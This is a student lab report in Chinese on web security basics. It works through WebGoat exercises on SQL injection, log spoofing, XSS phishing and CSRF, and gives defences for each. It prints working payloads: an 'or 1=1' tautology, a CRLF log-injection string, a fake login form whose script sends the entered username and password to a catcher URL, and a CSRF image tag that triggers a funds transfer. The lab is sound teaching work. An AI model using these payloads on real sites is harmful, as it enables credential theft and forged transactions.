2018-2019-2 20162329 《网络对抗技术》Exp9： Web安全基础

拼搏现实的明天。 2021-09-29 03:30 223阅读 0赞

*  Exp9： Web安全基础 
    
     *  一、基础知识
        
         *  1.SQL注入攻击
         *  2.XSS跨站脚本攻击
         *  3.CSRF跨站请求伪造
     *  二、SQL注入
        
         *  1. 命令注入
         *  2. 数字注入
         *  3. 日志欺骗
     *  三、XSS攻击
        
         *  1. XSS钓鱼攻击
     *  四、CSRF攻击
        
         *  1. 跨站请求伪造
     *  五、实验总结与体会

#  #

Exp9： Web安全基础

## 一、基础知识 ##

### 1.SQL注入攻击 ###

*  基本原理：
    
     *  就是不法分子利用编程漏洞，通过表单输入特殊字符和恶意SQL代码，使得后台执行SQL查询时，对数据库产生不可预知或不可逆的攻击或破坏。
 *  防御方法：
    
     *  避免不必要的表单提交页面。
     *  对表单输入进行控制，如：限制字符类型，限制字符长度等
     *  在数据库层利用授权机制，限制数据库操作行为。

### 2.XSS跨站脚本攻击 ###

*  基本原理：
    
     *  攻击者利用网站漏洞，将恶意脚本代码通过注入，或者其他方式发送或存储到服务器中，通过利用用户对于浏览器的信任，当正常用户访问该服务器时就会受到脚本攻击，例如获得该用户的cookie或其他信息等。
 *  防御方法：
    
     *  用户尽量不要保存自己在浏览器中输入的用户名和密码
     *  网站开发人员应该对用户上传的数据进行一定的过滤
     *  对输入表单进行控制

### 3.CSRF跨站请求伪造 ###

*  基本原理：
    
     *  当用户访问网站A时输入用户名和密码，在通过验证后，网站A产生Cookie信息并返回，此时登录网站A成功，可正常发送请求到网站A。在未退出网站A前，若访问另一个恶意网站B，网站B可返回一些攻击性代码并请求访问网站A；因此在网站B的请求下，向网站A发出请求。但网站A不知道该请求恶意的，因此还是会执行该恶意代码。
 *  防御方法：
    
     *  验证请求中的Token
     *  验证Referer
     *  添加随机验证
     *  设定cookie域

--------------------

## 二、SQL注入 ##

### 1. 命令注入 ###

*  **攻击过程：**在表单提交中传入恶意命令数据，使其在服务器端执行。
 *  **实验过程：**
    
     *  在页面中点击鼠标右键，选择`inspect Element`
     *  按键盘`f12`查看网页源代码  
        ![1065476-20190526154012996-318744300.png][]
     *  点击`view`按钮，执行代码结果如下：  
        ![1065476-20190526154603123-1210410102.png][]

### 2. 数字注入 ###

*  **攻击过程：**在表单输入中输入数字生成永真式，使得注入的SQL语句必定可以执行。
 *  **实验过程：**
    
     *  在实验网页上查看源代码，对`value='101'`进行修改，添加`or 1=1`构成永真式，如图：  
        ![1065476-20190526160213244-1971453303.png][]
     *  点击按钮执行，结果如下：  
        ![1065476-20190526160331454-1450807189.png][]

### 3. 日志欺骗 ###

*  **攻击过程：**不法分子通过在注入脚本，通过脚本修改日志文件。
 *  **实验过程：**
    
     *  在实验环境提供的表单中输入`2329%0d%0aLogin Succeeded for username: 162329`其中`%0d`和`%0a`为回车符和换行符。
     *  结果如下图：  
        ![1065476-20190526162317171-1865020729.png][]

## 三、XSS攻击 ##

### 1. XSS钓鱼攻击 ###

*  **攻击过程：**通过表单输入脚本，修改网页HTML，生成钓鱼网站，当用户输入时获取用户输入的信息。
 *  **实验过程：**
    
     *  在实验环境表单中输入脚本代码，构造钓鱼界面。
     *  界面代码如下：
    
        <form>
        <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
        Enter Username:<br><input type="text" id="user" name="user"><br> 
        Enter Password:<br><input type="password" name = "pass"><br> 
        </form><br><br><HR>
        <script>
        function hack()
        { 
         alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
         XSSImage=new Image; 
         XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ";
        }
        </script>
 *  将以上代码输入搜索框中，点击搜索如图：  
    ![1065476-20190526165337816-2142215537.png][]
 *  当用户点击提交时攻击者界面会出现如下图：  
    ![1065476-20190526170328828-1854262751.png][]

## 四、CSRF攻击 ##

### 1. 跨站请求伪造 ###

*  **攻击过程：**
    
     *  给用户发送一个恶意URL诱使其他用户点击，从而触发CSRF攻击。为了使用户更容易受骗，我们可以以图片的形式隐藏URL。
 *  **实验过程：**
    
     *  查看参数中src和menu值，为261和900
     *  在message框中输入`<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>`点击提交后结果如下：  
        ![1065476-20190526172157307-1999588460.png][]
     *  当用户点击Message字段中的图片时就会盗取用户2329元

## 五、实验总结与体会 ##

通过本次实验真实的感受了什么是SQL注入，XSS攻击和CRSF攻击，在实验中了解了其中的流程，也自己总结了对这些攻击的防御方法，感觉受益匪浅。

转载于:https://www.cnblogs.com/Zhangxusheng/p/10926028.html

[1065476-20190526154012996-318744300.png]: /images/20210726/3ca0cbc376a640d5b67dd13f2a7063a8.png
[1065476-20190526154603123-1210410102.png]: https://img2018.cnblogs.com/blog/1065476/201905/1065476-20190526154603123-1210410102.png
[1065476-20190526160213244-1971453303.png]: https://img2018.cnblogs.com/blog/1065476/201905/1065476-20190526160213244-1971453303.png
[1065476-20190526160331454-1450807189.png]: https://img2018.cnblogs.com/blog/1065476/201905/1065476-20190526160331454-1450807189.png
[1065476-20190526162317171-1865020729.png]: https://img2018.cnblogs.com/blog/1065476/201905/1065476-20190526162317171-1865020729.png
[1065476-20190526165337816-2142215537.png]: https://img2018.cnblogs.com/blog/1065476/201905/1065476-20190526165337816-2142215537.png
[1065476-20190526170328828-1854262751.png]: https://img2018.cnblogs.com/blog/1065476/201905/1065476-20190526170328828-1854262751.png
[1065476-20190526172157307-1999588460.png]: https://img2018.cnblogs.com/blog/1065476/201905/1065476-20190526172157307-1999588460.png